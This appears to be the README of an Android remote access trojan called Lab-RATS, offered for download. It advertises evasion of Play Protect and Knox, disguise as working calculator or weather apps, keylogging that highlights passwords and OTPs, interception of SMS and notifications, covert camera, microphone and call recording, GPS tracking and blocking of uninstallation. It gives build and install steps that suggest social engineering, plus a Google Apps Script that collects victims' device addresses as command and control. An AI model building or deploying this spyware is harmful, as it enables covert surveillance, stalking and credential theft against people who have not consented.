Lab-RATS: Advanced Android Remote Administration Tool (v1.4.5)

Lab-RATS is a powerful and lightweight Android Remote Administration Tool (RAT) developed by K4N3CO.LABS. This advanced tool allows for remote monitoring and management of Android devices through a sleek, web-based interface designed for speed and reliability. Built for the modern era, it fully supports the latest 2026 Android software releases (OneUI 8.5, SDK 36).

---

🛡️ Core Features & Security

• 📦 Automated APK Generation: Instantly build both signed.apk (for production) and unsigned.apk.
• 🆔 Advanced Identity Control: Fully customize App Name, Package ID, and Minimum SDK.
• 🔐 C2 Security Layer: The web dashboard is protected by a secure login wall (Default Password: admin1337). The password can be updated directly from the Terminal home page for enhanced security.
• 🎨 Smart Branding Engine:
  • Auto-Density Scaling: Resizes logos automatically for all Android screen densities.
  • Transparency Fixer: Removes white backgrounds from logo assets automatically.
• 📱 PC/Mobile-Responsive: The remote web interface is fully optimized for both PC and smartphone browsers, featuring a touch-friendly layout, adaptive navigation tabs, and scalable UI elements for monitoring from any device.

---

🕵️ Covert & Stealth Operations

• 🛡️ NEW! Evasion Engine: Now undetectable by Samsung Knox and Google Play Protect. This is achieved through dynamic code obfuscation during the APK build process, randomized package identities, and the use of fully interactive decoy activities that mimic legitimate system behaviors to bypass heuristic and signature-based scanning.
• 🌑 NEW! Blackout Mode (Screen Blinding): A high-stealth mode designed to physically mask the target device display while maintaining a remote non-masked interactive live feed.
• 🎭 Stealth Mode: Remotely swap the entire app identity and icon with the "Masquerade Library" of convincing clones. Instantly transform Lab-RATS into a working Calculator, Weather App, System Diagnostics, or Settings Menu.
• 🛠️ Functional Decoy Engine: Unlike static images, these decoys are fully interactive. The Calculator performs real math, and the Weather app dynamically loads the target's actual city name and forecast.
• 🩹 Self-Healing Protocol: Automatically detects and repairs damaged service bindings or revoked permissions;in the background.
• ☎️ Dial-Pad Recovery: If the app launcher is in "Stealth Mode", dial *#1337# on the phone's keypad to instantly restore the Lab-RATS identity and icon.
• 🚪 Hidden Backdoor: Every decoy features a secret bypass. Rapidly tapping the display or background icon 10 times instantly unlocks the C2 server interface. (Reverts back to "Stealth Mode" when closed)
• 👻 Task-List Ghosting: The app is hard-coded to be invisible in the Android "Recent Apps" list.
• 📡 Deep Rebranding: When stealth is active, background notifications are automatically rebranded with matching icons and names to ensure zero branding leaks.
• 🎲 Dynamic OTA Camouflage: Generates random version names and codes that mimic legitimate system OTA updates.

---

🚀 The Fun Stuff (Remote Capabilities)

• 👻 Ghost Controller (Gold Standard):
  • Ghost Screen Control/Mirror: Cast the live screen and control the device remotely with NO "Consent Prompt" required. (Essentially full remote takeover, pair with Blackout Mode for max stealth)
  • Live Keylogging (v1.4 Update): Intercept keystrokes and system text in real-time. Now features Sensitive Info Highlighting (Passcodes, OTPs, Emails glow Red) and Deep Extraction for browser login info.
• 💀 Anti-Removal Shield (Optimized): High-speed, event-driven protection that blocks attempts to Uninstall or Force Stop the app. (Kicks user to homescreen & denies any entry into the app settings)
• 🛰️ Precision GPS Tracking: One-click uplink to open the target's exact real-time location in Google Maps.
• ⚡ Intel Stream (Notification Sniffer): Intercept every notification (WhatsApp, Telegram, RCS, System...etc) in a live feed. NEW!: Sensitive data like OTPs and Bank alerts are now automatically highlighted with red text and badged.
• 🖼️ MMS Terminal (Game Changer!):
  • Browse & Extract: Download and view ANY Multimedia Message(MMS). v1.4 Update: Fixed large video playback and streaming support.
  • Remote Dispatch: Send MMS/Picture Messages directly from the target phone.
• 💬 SMS Command Center: Full interception and remote texting from the target's number.
• 📸 Tactical Surveillance Hub (NEW! Unified Controls)
  • Live Camera Streaming: View high-speed video from both front and back cameras.
  • Covert Recording: Stealthily record video without any user-facing activity.
  • Snap Photos: Covert image capture integrated into live stream.
  • Nightmode: Brightens live stream/photos taken in low-light environments without the flash.
• 🎙️ Acoustics & Interception: Live microphone recording and automated call recording for both incoming and outgoing calls.
• 📞 Remote Dialer: Initiate phone calls directly from the C2 panel using the target's SIM card.
• 📂 Advanced Data Uplink:
  • Integrated File Manager: Navigate, download, and manage files. NEW!: Instant Search Bar and Category Filters (Images/Video/Docs) for PC-optimized workflows.
  • Info Gathering: Access to Call Logs, Contacts and Device Hardware Info.
  • 📝 Direct File Editor: Live-edit text, JSON, and log files directly on the device.
• 📊 Telemetry & Reporting:
  • C2 Auto-Reporting: Discrete reporting of IP, Battery %, Network Type (WiFi/Cellular), and Stealth Status to a centralized Google Sheet.

---

🧠 Remote Persistence & Commands

🌐 Direct IPv6 Access (Direct P2P Backdoor)

Lab-RATS exploits the unique traits of publicly routable IPv6 addresses assigned by modern WIFI/5G/LTE carriers. By binding the Lab-RATS server directly to the Global Unicast Address, it bypasses Carrier-Grade NAT (CGNAT) and firewalls entirely. This allows for Zero Configuration peer-to-peer (P2P) remote access from any browser in the world without the need for routers, port forwarding, or external tunneling software. (Pinggy or Ngrok)

🔄 NEW! Remote Server Restart

• Web UI: One-click "RESTART_SERVER" button on the home terminal to refresh background services.
• SMS Backdoor: Send an SMS containing !RESTART_C2 to force the server back online even if it was manually closed or killed by the OS.

---

🛠️ Getting Started

1. Requirements

• Java 11 or 21 installed on your workstation.
• 📱 A Target Android device (Samsung/Pixel/OnePlus supported).
• A Google Sheet Webhook URL for IP tracking.

2. Build the APK (on PC)

1. Download & Extract the repository.
2. Navigate to cd /Lab-RATS-main/apk-builder/
3. Execute the builder: chmod +x build.sh && ./build.sh(Mac/Linux) orbuild.bat` (Windows).
4. Enter your App name (Default: System Stability Service) and Google Sheet URL. (Google Sheet setup instructions below)
5. Retrieve your signed.apk from the /apk-builder/output/ directory.

3. Install APK onto Target Device

1. Install the signed.apk onto the Target Android device.

** If you have access to the device, turn on USB debugging (developer settings), plug into a PC and run adb install signed.apk. If not get creative on how to install Android .apk files onto devices.(Social Engineering?....etc)

2. Once the App is installed on Target Device, ALL permissions must be granted to the App, then tap the "Initialize Server" button.
3. The Server will go online and the Active interface Web IP Link should pop up instantly on your Google Sheet. (Example Google Sheet Below)
4. Thats it! Now you can use ALL the remote features from anywhere in the world as long as the App Server is running on the Target device.

Note - To use "Ghost features", navigate to the Ghost Tab on the Web C2 Panel and click "Open Accessibility Settings".

This opens the accessibility menu on the Target device, tap "Installed Apps".

Toggle permission on, then tap "Allow" to permit full control of device.

** This ONLY applies to the "Ghost Remote Control", "Ghost Utilities", and "Ghost Keylogs". ALL other features can be used without this permission.

---

📊 Google Sheet C2 Setup Instructions (Advanced v1.4)

1. Create a new Google Sheet.
2. Go to Extensions → Apps Script and paste this Hybrid Snippet: (Supports both GET and POST)

function doGet(e) {
  return handleRequest(e);
}

function doPost(e) {
  return handleRequest(e);
}

function handleRequest(e) {
  try {
    var ss = SpreadsheetApp.getActiveSpreadsheet();
    
    // Check if script is correctly bound to a sheet
    if (!ss) {
      return ContentService.createTextOutput("ERROR: Script not bound to a spreadsheet. Create it from WITHIN the Google Sheet (Extensions -> Apps Script)").setMimeType(ContentService.MimeType.TEXT);
    }

    var sheet = ss.getSheetByName("LabRATS Logs");
    if (!sheet) {
      sheet = ss.insertSheet("LabRATS Logs");
      sheet.appendRow(["Timestamp", "Device", "Network", "IP", "Port", "Link", "Battery", "Stealth Status"]);
    }
    
    var data = {};
    
    // Handle POST (JSON body)
    if (e.postData && e.postData.contents) {
      data = JSON.parse(e.postData.contents);
    } 
    // Handle GET (URL parameters)
    else if (e.parameter) {
      data = e.parameter;
    }

    var rowData = [
      new Date(),
      data.device || "Unknown",
      data.network || "Unknown",
      data.ip || "Unknown",
      data.port || "8080",
      data.link || "Unknown",
      data.battery || "Unknown",
      (data.stealth === true || data.stealth === "true") ? "ACTIVE" : "OFF"
    ];
    
    sheet.appendRow(rowData);
    return ContentService.createTextOutput("SUCCESS").setMimeType(ContentService.MimeType.TEXT);
  } catch (err) {
    return ContentService.createTextOutput("ERROR: " + err.message).setMimeType(ContentService.MimeType.TEXT);
  }
}

3. Deploy → New Deployment → Web App → Execute as Me → Who has access: Anyone.
4. Important: Copy the Web App URL and paste it into the apk-builder tool when prompted.

📊 Example Google Sheet Configured:

---

⭐ Support the Development

If you find Lab-RATS awesome and useful for your security research, please Star ⭐ the project—it drives further development!!

Contributions:

Bug reports, add new feature and pull requests are always welcome. (See CONTRIBUTING.md for more info)

---

Donations:

BuyMeACoffee: https://buymeacoffee.com/k4n3co

BTC:

bc1q6lmkuju3kf7f8624fwt5qs7k5mf63mekgcnzf4

---

📸 Screenshots/Video Clips

Example APK build in terminal (Mac OS) - Advanced v1.4

This build excludes my Google Sheet Webhook URL for security. For normal private builds, you must add your own Google webhook URL to correctly receive the IPv6 address link from the app after installation.

apk-builder_example_build.mov

---

Built APK (C2 Server) Installed on Target Android Device:

---

Lab-RATS Bypassing ALL Up-To-Date Android App Security While Operating: (v1.4)

App_Bypassing_Protection.mp4

---

Remotely Transform Lab-RATS into a Working Calculator, Weather App, System Update, or Settings Menu:

---

Remote Web Control (C2) Panel - PC Interface

Remote C2 Panel Video:

Screen_Recording_C2_Panel.mov

---

Terminal/Homepage Tab:

---

Ghost Operations Tab: (Top half)

---

Ghost Ops.Tab Remote/Stealth: (Bottom half)

---

Optics/Live Camera Stream Tab:

---

NEW! Unified Live Camera Stream Control Hub:

---

Live Camera Stream Example:

---

Locate/Live GPS Tab:

---

Data/Storage Tab:

---

Intel/App Notifications Tab:

---

SMS/Text Message Tab:

---

MMS/Multimedia Message Tab:

---

Acoustics/Audio Tab:

---

Call Logs Tab:

---

Contacts Tab:

---

Hardware/Device Info Tab:

---

📱 Remote Web Control (C2) Panel - Mobile Interface (A Few Examples)

---

⚠️ Disclaimer

This tool is for educational and authorized testing purposes. The developers assume NO responsibility for ANY misuse or damage to relationships caused by this software. Please use it responsibly. Thank you!

---

© 2026 K4N3CO.LABS